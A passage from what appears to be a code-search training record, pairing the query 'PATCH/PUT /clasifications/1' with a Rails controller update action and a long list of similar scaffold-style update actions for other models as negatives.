"0.53172976",
"0.5314502",
"0.5313682",
"0.53117293",
"0.5308193",
"0.53078586",
"0.53063196"
] |
0.71609735
|
0
|
PATCH/PUT /clasifications/1 or /clasifications/1.json
|
def update
respond_to do |format|
if @clasification.update(clasification_params)
format.html { redirect_to @clasification, notice: "Clasification was successfully updated." }
format.json { render :show, status: :ok, location: @clasification }
else
format.html { render :edit, status: :unprocessable_entity }
format.json { render json: @clasification.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n @clazz = Clazz.find(params[:id])\n\n respond_to do |format|\n if @clazz.update_attributes(params[:clazz])\n format.html { redirect_to @clazz, notice: 'Clazz was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @clazz.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @classtable = Classtable.find(params[:id])\n\n respond_to do |format|\n if @classtable.update_attributes(params[:classtable])\n format.html { redirect_to @classtable, notice: 'Classtable was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @classtable.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @classification.update(classification_params)\n format.html { redirect_to @classification, notice: t('controller.successfully_updated', model: t('activerecord.models.classification')) }\n format.json { head :no_content }\n else\n @classification_types = ClassificationType.all\n format.html { render action: \"edit\" }\n format.json { render json: @classification.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @classified.update(classified_params)\n format.html { redirect_to @classified, notice: 'Classified was successfully updated.' }\n format.json { render :show, status: :ok, location: @classified }\n else\n format.html { render :edit }\n format.json { render json: @classified.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @classified.update(classified_params)\n format.html { redirect_to @classified, notice: 'Classified was successfully updated.' }\n format.json { render :show, status: :ok, location: @classified }\n else\n format.html { render :edit }\n format.json { render json: @classified.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @class = Classe.find(params[:id])\n\n respond_to do |format|\n if @class.update_attributes(params[:class])\n format.html { redirect_to @class, notice: 'Classe was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @classified = @user.classifieds.find(params[:id])\n\n respond_to do |format|\n if @classified.update_attributes(params[:classified])\n format.html { redirect_to @classified, notice: 'Classified was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @classified.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @classname.update(classname_params)\n format.html { redirect_to @classname, notice: 'Classname was successfully updated.' }\n format.json { render :show, status: :ok, location: @classname }\n else\n format.html { render :edit }\n format.json { render json: @classname.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @clasificacion = Clasificacion.find(params[:id])\n\n respond_to do |format|\n if @clasificacion.update_attributes(params[:clasificacion])\n format.html { redirect_to(@clasificacion, :notice => 'Clasificacion was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @clasificacion.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @clclass = Clclass.find(params[:id])\n\n respond_to do |format|\n if @clclass.update_attributes(params[:clclass])\n format.html { redirect_to @clclass, notice: 'Clclass was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @clclass.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n add_breadcrumb \"Classes\", classes_url\n add_breadcrumb \"Edit\"\n respond_to do |format|\n if @class.update(class_params)\n format.html { redirect_to classes_url, notice: 'Class was successfully updated.' }\n format.json { render :show, status: :ok, location: @class }\n else\n format.html { render :edit }\n flash[:alert] = @class.errors.full_messages.to_sentence\n format.json { render json: @class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @klass.update(klass_params)\n format.html { redirect_to @klass, notice: 'Class was successfully updated.' }\n format.json { render :show, status: :ok, location: @klass }\n else\n format.html { render :edit }\n format.json { render json: @klass.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @classs.update(classs_params)\n format.html { redirect_to @classs, notice: 'Classs was successfully updated.' }\n format.json { render :show, status: :ok, location: @classs }\n else\n format.html { render :edit }\n format.json { render json: @classs.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @classication.update(classication_params)\n format.html { redirect_to @classication, notice: 'Classication was successfully updated.' }\n format.json { render :show, status: :ok, location: @classication }\n else\n format.html { render :edit }\n format.json { render json: @classication.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @classroom = classroom.find(params[:id])\n\n if @classroom.update_attributes(params[:classroom])\n head :no_content\n else\n render json: @classroom.errors, status: :unprocessable_entity\n end\n end",
"def set_clasification\n @clasification = Clasification.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @request_class_lab.update(request_class_lab_params)\n format.html { redirect_to @request_class_lab }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @request_class_lab.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project_classification.update(project_classification_params)\n format.html { redirect_to project_classifications_path, notice: 'Project classification was successfully updated.' }\n format.json { render :show, status: :ok, location: @project_classification }\n else\n format.html { render :edit }\n format.json { render json: @project_classification.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @class_detail.update(class_detail_params)\n format.html { redirect_to @class_detail, notice: 'Class detail was successfully updated.' }\n format.json { render :show, status: :ok, location: @class_detail }\n else\n format.html { render :edit }\n format.json { render json: @class_detail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @test_class = TestClass.find(params[:id])\n\n respond_to do |format|\n if @test_class.update_attributes(params[:test_class])\n format.html { redirect_to @test_class, notice: 'Test class was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @test_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @myclass = Myclass.find(params[:id])\n\n respond_to do |format|\n if @myclass.update_attributes(params[:myclass])\n format.html { redirect_to @myclass, notice: 'Myclass was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @myclass.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @classifier.update(classifier_params)\n format.html { redirect_to @classifier, notice: 'Classifier was successfully updated.' }\n format.json { render :show, status: :ok, location: @classifier }\n else\n format.html { render :edit }\n format.json { render json: @classifier.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @risk_classification = RiskClassification.find(params[:id])\n\n respond_to do |format|\n if @risk_classification.update_attributes(params[:risk_classification])\n format.html { redirect_to @risk_classification, notice: 'Risk classification was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @risk_classification.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @clasificacion_pegi = ClasificacionPegi.find(params[:id])\n\n respond_to do |format|\n if @clasificacion_pegi.update_attributes(params[:clasificacion_pegi])\n format.html { redirect_to @clasificacion_pegi, notice: 'Clasificacion pegi was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @clasificacion_pegi.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @taxon_name_classification.update(taxon_name_classification_params)\n format.html { redirect_to :back, notice: 'Taxon name classification was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { redirect_to :back, notice: 'Taxon name classification was NOT successfully updated.' }\n format.json { render json: @taxon_name_classification.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @classwork.update(classwork_params)\n format.html { redirect_to @classwork, notice: 'Classwork was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @classwork.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @apex_class.update(apex_class_params)\n format.html { redirect_to @apex_class, notice: 'Apex class was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @apex_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @subclass.update(subclass_params)\n format.html { redirect_to @subclass, notice: 'Subclass was successfully updated.' }\n format.json { render :show, status: :ok, location: @subclass }\n else\n format.html { render :edit }\n format.json { render json: @subclass.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @classified = Classified.find(params[:id])\n\n respond_to do |format|\n if @classified.update_attributes(params[:classified])\n flash[:notice] = 'Cyberstock was successfully updated.'\n format.html { redirect_to(cyberstock_admin_classifieds_path) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @classified.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @data_class.update(data_class_params)\n format.html { redirect_to @data_class, notice: 'Data class was successfully updated.' }\n format.json { render :show, status: :ok, location: @data_class }\n else\n format.html { render :edit }\n format.json { render json: @data_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user_class = UserClass.find(params[:id])\n\n respond_to do |format|\n if @user_class.update_attributes(params[:user_class])\n format.html { redirect_to @user_class, notice: 'User class was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @category_classified.update(category_classified_params)\n format.html { redirect_to @category_classified, notice: 'Category classified was successfully updated.' }\n format.json { render :show, status: :ok, location: @category_classified }\n else\n format.html { render :edit }\n format.json { render json: @category_classified.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @classification_code.update(classification_code_params)\n format.html { redirect_to @classification_code, notice: 'Classification code was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @classification_code.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @classe = Classe.find(params[:id])\n\n respond_to do |format|\n if @classe.update_attributes(params[:classe])\n format.html { redirect_to @classe, notice: 'Classe was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @classe.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @business_classification.update(business_classification_params)\n format.html { redirect_to @business_classification, notice: 'Business classification was successfully updated.' }\n format.json { render :show, status: :ok, location: @business_classification }\n else\n format.html { render :edit }\n format.json { render json: @business_classification.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @user_class.update(user_class_params)\n format.html { redirect_to @user_class, notice: 'User class was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @user_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @firstclass.update(firstclass_params)\n format.html { redirect_to @firstclass, notice: 'Firstclass was successfully updated.' }\n format.json { render :show, status: :ok, location: @firstclass }\n else\n format.html { render :edit }\n format.json { render json: @firstclass.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @detail_class.update(detail_class_params)\n format.html { redirect_to @detail_class, notice: 'Detail class was successfully updated.' }\n format.json { render :show, status: :ok, location: @detail_class }\n else\n format.html { render :edit }\n format.json { render json: @detail_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @iclass = Iclass.find(params[:id])\n\n respond_to do |format|\n if @iclass.update_attributes(params[:iclass])\n format.html { redirect_to @iclass, :notice => 'Iclass was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @iclass.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @education_class.update(education_class_params)\n format.html { redirect_to @education_class, notice: 'Education class was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @education_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @classifield.update(classifield_params)\n format.html { redirect_to @classifield, notice: 'Classifield was successfully updated.' }\n format.json { render :show, status: :ok, location: @classifield }\n else\n format.html { render :edit }\n format.json { render json: @classifield.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @classtime.update(classtime_params)\n format.html { redirect_to admin_classtimes_path, notice: 'Classtime was successfully updated.' }\n format.json { render :show, status: :ok, location: @classtime }\n else\n format.html { render :edit }\n format.json { render json: @classtime.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @gg_classlist.update(gg_classlist_params)\n format.html { redirect_to @gg_classlist, notice: 'Gg classlist was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @gg_classlist.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item_classification.update(item_classification_params)\n format.html { redirect_to @item_classification, notice: 'Classificação atualizada com sucesso.' }\n format.json { render :show, status: :ok, location: @item_classification }\n else\n format.html { render :edit }\n format.json { render json: @item_classification.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n respond_to do |format|\n if @classroom.update(classroom_params)\n format.html { redirect_to classrooms_url, notice: t('.notice', name: @classroom.name) }\n format.json { render :show, status: :ok, location: @classroom }\n else\n format.html { render :edit }\n format.json { render json: @classroom.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @citizenship_class = @grantee.citizenship_classes.find(params[:id])\n\n respond_to do |format|\n if @citizenship_class.update_attributes(params[:citizenship_class])\n format.html { redirect_to [@grantee, @citizenship_class], notice: 'Citizenship class was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @citizenship_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @class_type.update(class_type_params)\n format.html { redirect_to @class_type, notice: 'Class type was successfully updated.' }\n format.json { render :show, status: :ok, location: @class_type }\n format.js\n else\n format.html { render :edit }\n format.json { render json: @class_type.errors, status: :unprocessable_entity }\n format.js\n end\n end\n end",
"def update\n respond_to do |format|\n if @crew_class.update(crew_class_params)\n format.html { redirect_to @crew_class, notice: 'Crew class was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @crew_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @instruction_factory = InstructionFactory.find(params[:id]) \n @instruction_factory.classname = params[:instruction_factory][:classname]\n @instruction_factory.name = params[:instruction_factory][:name]\n respond_to do |format|\n \n if @instruction_factory.save\n format.html { redirect_to @instruction_factory, notice: 'instruction_factory was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @instruction_factory.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @class = Class.find(params[:id])\n\n respond_to do |format|\n if @class.update_attributes(params[:class])\n flash[:notice] = 'Class was successfully updated.'\n format.html { redirect_to(@class) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @class.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @class_request = ClassRequest.find(params[:id])\n\n respond_to do |format|\n if @class_request.update_attributes(params[:class_request])\n format.html { redirect_to(@class_request, :notice => 'Class request was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @class_request.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @food_class.update(food_class_params)\n format.html { redirect_to @food_class, notice: 'Food class was successfully updated.' }\n format.json { render :show, status: :ok, location: @food_class }\n else\n format.html { render :edit }\n format.json { render json: @food_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @klass = Klass.find(params[:id])\n\n respond_to do |format|\n if @klass.update_attributes(params[:klass])\n flash[:notice] = 'Klass was successfully updated.'\n format.html { redirect_to(@klass) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @klass.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @service_class.update(service_class_params)\n format.html { redirect_to @service_class, notice: 'Service class was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @service_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @classessection.update(classessection_params)\n format.html { redirect_to @classessection, notice: 'Classessection was successfully updated.' }\n format.json { render :show, status: :ok, location: @classessection }\n else\n format.html { render :edit }\n format.json { render json: @classessection.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @flag_class.update(flag_class_params)\n format.html { redirect_to @flag_class, notice: 'Flag class was successfully updated.' }\n format.json { render :show, status: :ok, location: @flag_class }\n else\n format.html { render :edit }\n format.json { render json: @flag_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @s_class.update(s_class_params)\n format.html { redirect_to @s_class, notice: 'S class was successfully updated.' }\n format.json { render :show, status: :ok, location: @s_class }\n else\n format.html { render :edit }\n format.json { render json: @s_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @class_mapping.update(class_mapping_params)\n format.html { redirect_to @class_mapping, notice: 'Class mapping was successfully updated.' }\n format.json { render :show, status: :ok, location: @class_mapping }\n else\n format.html { render :edit }\n format.json { render json: @class_mapping.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @class_mapping.update(class_mapping_params)\n format.html { redirect_to @class_mapping, notice: 'Class mapping was successfully updated.' }\n format.json { render :show, status: :ok, location: @class_mapping }\n else\n format.html { render :edit }\n format.json { render json: @class_mapping.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @biocuration_classification.update(biocuration_classification_params)\n format.html { redirect_to :back, notice: 'Biocuration classification was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { redirect_to :back, notice: 'Biocuration classification was NOT successfully updated.' }\n format.json { render json: @biocuration_classification.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @uno_class.update(uno_class_params)\n format.html { redirect_to @uno_class, notice: 'Uno class was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @uno_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @uno_class.update(uno_class_params)\n format.html { redirect_to @uno_class, notice: 'Uno class was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @uno_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @sob_class.update(sob_class_params)\n format.html { redirect_to @sob_class, notice: 'Sob class was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @sob_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @classification = Classification.find(params[:id])\n @items = Item.select_list\n @subjects = Subject.concept_list\n @genres = Subject.genre_list\n respond_to do |format|\n if @classification.update_attributes(params[:classification])\n format.html { redirect_to(admin_classification_path(@classification), :notice => 'Classification was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @classification.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @class_taken = ClassTaken.find(params[:id])\n\n respond_to do |format|\n if @class_taken.update_attributes(params[:class_taken])\n format.html { redirect_to @class_taken, notice: 'Class taken was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @class_taken.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @subject_class.update(subject_class_params)\n format.html { redirect_to @subject_class, notice: 'Subject class was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @subject_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item_class = ItemClass.find(params[:id])\n\n respond_to do |format|\n if @item_class.update_attributes(params[:item_class])\n format.html { redirect_to @item_class, notice: 'Item class was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @klass.update(klass_params)\n format.html { redirect_to management_klasses_path }\n format.json { render :json => @klass.to_json(include: :period), status: :ok }\n else\n format.html { render :edit }\n format.json { render json: @klass.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student_class.update(student_class_params)\n format.html { redirect_to @student_class, notice: \"Student class was successfully updated.\" }\n format.json { render :show, status: :ok, location: @student_class }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @student_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @class_test.update(class_test_params)\n format.html { redirect_to @class_test, notice: 'Class test was successfully updated.' }\n format.json { render :show, status: :ok, location: @class_test }\n else\n format.html { render :edit }\n format.json { render json: @class_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @classroom = Classroom.find(params[:id])\n\n respond_to do |format|\n if @classroom.update_attributes(params[:classroom])\n format.html { redirect_to @classroom, notice: 'Classroom was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @classroom.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @book_of_class = BookOfClass.find(params[:id])\n\n respond_to do |format|\n if @book_of_class.update_attributes(params[:book_of_class])\n format.html { redirect_to @book_of_class, notice: 'Book of class was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book_of_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @vehicle_class = VehicleClass.find(params[:id])\n\n respond_to do |format|\n if @vehicle_class.update_attributes(params[:vehicle_class])\n format.html { redirect_to @vehicle_class, notice: 'Vehicle class was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @vehicle_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @climb_class.update(climb_class_params)\n format.html { redirect_to @climb_class, notice: 'Climb class was successfully updated.' }\n format.json { render :show, status: :ok, location: @climb_class }\n else\n format.html { render :edit }\n format.json { render json: @climb_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @trainclass.update(trainclass_params)\n format.html { redirect_to @trainclass, notice: 'Trainclass was successfully updated.' }\n format.json { render :show, status: :ok, location: @trainclass }\n else\n format.html { render :edit }\n format.json { render json: @trainclass.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @classified_person = ClassifiedPerson.find(params[:id])\n\n respond_to do |format|\n if @classified_person.update_attributes(params[:classified_person])\n flash[:notice] = 'ClassifiedPerson was successfully updated.'\n format.html { redirect_to(@classified_person) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @classified_person.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @member_class.update(member_class_params)\n format.html { redirect_to @member_class, notice: 'Member class was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @member_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n set_updatecheck\n respond_to do |format|\n if @cla.update(cla_params)\n format.html { redirect_to clas_path, notice: 'Cla was successfully updated.' }\n format.json { render :show, status: :ok, location: @cla }\n else\n format.html { render :edit }\n format.json { render json: @cla.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @entity = @klass.find(params[:id])\n\n respond_to do |format|\n if @entity.update_attributes(params[@klass.table_name.singularize])\n format.html { redirect_to admin_entity_url(entity: @klass_path, id: @entity.id), notice: \"#{@klass.model_name.capitalize} was successfully updated.\" }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @entity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @criterion = Criterion.find(params[:id])\n\n if @criterion.update_attributes(params[:criterion])\n head :no_content\n else\n render json: @criterion.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @classment.update(classment_params)\n format.html { redirect_to @classment, notice: 'Classment was successfully updated.' }\n format.json { render :show, status: :ok, location: @classment }\n else\n format.html { render :edit }\n format.json { render json: @classment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update # PATCH\n raise NotImplementedError\n end",
"def update\n @staffclassification = Staffclassification.find(params[:id])\n\n respond_to do |format|\n if @staffclassification.update_attributes(params[:staffclassification])\n flash[:notice] = 'Staffclassification was successfully updated.'\n format.html { redirect_to(@staffclassification) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @staffclassification.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @classroom.update(classroom_params)\n format.html { redirect_to @classroom, notice: 'Classroom was successfully updated.' }\n format.json { render :show, status: :ok, location: @classroom }\n else\n format.html { render :edit }\n format.json { render json: @classroom.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @classroom.update(classroom_params)\n format.html { redirect_to @classroom, notice: 'Classroom was successfully updated.' }\n format.json { render :show, status: :ok, location: @classroom }\n else\n format.html { render :edit }\n format.json { render json: @classroom.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @discipline_class_exam_type = DisciplineClassExamType.find(params[:id])\n\n respond_to do |format|\n if @discipline_class_exam_type.update_attributes(params[:discipline_class_exam_type])\n format.html { redirect_to @discipline_class_exam_type, :notice => 'Tipo de Exame de Classe de Disciplina atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @discipline_class_exam_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def clasification_params\n params.require(:clasification).permit(:clasification)\n end",
"def update\n respond_to do |format|\n if @teacher_class.update(teacher_class_params)\n format.html { redirect_to @teacher_class, notice: 'Teacher class was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @teacher_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @ark_class.update(ark_class_params)\n format.html { redirect_to @ark_class, notice: 'Ark class was successfully updated.' }\n format.json { render :show, status: :ok, location: @ark_class }\n else\n format.html { render :edit }\n format.json { render json: @ark_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @class_room = ClassRoom.find(params[:id])\n\n respond_to do |format|\n if @class_room.update_attributes(params[:class_room])\n format.html { redirect_to @class_room, notice: 'Academic class was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @class_room.errors, status: :unprocessable_entity }\n end\n end\n end",
"def classs_params\n params.require(:classs).permit(:name, :major_id)\n end",
"def update\n respond_to do |format|\n if @code_class.update(code_class_params)\n format.html { redirect_to @code_class, notice: 'Code class was successfully updated.' }\n format.json { render :show, status: :ok, location: @code_class }\n else\n format.html { render :edit }\n format.json { render json: @code_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @classcourse.update(classcourse_params)\n format.html { redirect_to @classcourse, notice: 'Classcourse was successfully updated.' }\n format.json { render :show, status: :ok, location: @classcourse }\n else\n format.html { render :edit }\n format.json { render json: @classcourse.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @school_class = SchoolClass.find(params[:id])\n\n respond_to do |format|\n if @school_class.update_attributes(params[:school_class])\n format.html { redirect_to school_classes_url, notice: 'Class was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @school_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @occupationclassification = Occupationclassification.find(params[:id])\n\n respond_to do |format|\n if @occupationclassification.update_attributes(params[:occupationclassification])\n flash[:success] = \"Occupation classification was successfully updated.\"\n format.html { redirect_to @occupationclassification }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @occupationclassification.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def partial_update(klass, id, patchset, options = {}, format = nil)\n headers = {}\n headers[:accept] = \"#{format}\" if format\n format ||= @default_format\n options = { resource: klass, id: id, format: format}.merge options\n if [FHIR::Formats::ResourceFormat::RESOURCE_XML, FHIR::Formats::ResourceFormat::RESOURCE_XML_DSTU2].include?(format)\n options[:format] = FHIR::Formats::PatchFormat::PATCH_XML\n headers[:content_type] = \"#{FHIR::Formats::PatchFormat::PATCH_XML}\"\n elsif [FHIR::Formats::ResourceFormat::RESOURCE_JSON, FHIR::Formats::ResourceFormat::RESOURCE_JSON_DSTU2].include?(format)\n options[:format] = FHIR::Formats::PatchFormat::PATCH_JSON\n headers[:content_type] = \"#{FHIR::Formats::PatchFormat::PATCH_JSON}\"\n end\n headers[:prefer] = @return_preference if @use_return_preference\n reply = patch resource_url(options), patchset, fhir_headers(headers)\n reply.resource = parse_reply(klass, format, reply)\n reply.resource_class = klass\n reply\n end",
"def update\n @method_or_class = MethodOrClass.find(params[:id])\n\n respond_to do |format|\n if @method_or_class.update_attributes(params[:method_or_class])\n flash[:notice] = 'MethodOrClass was successfully updated.'\n format.html { redirect_to(@method_or_class) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @method_or_class.errors, :status => :unprocessable_entity }\n end\n end\n end",
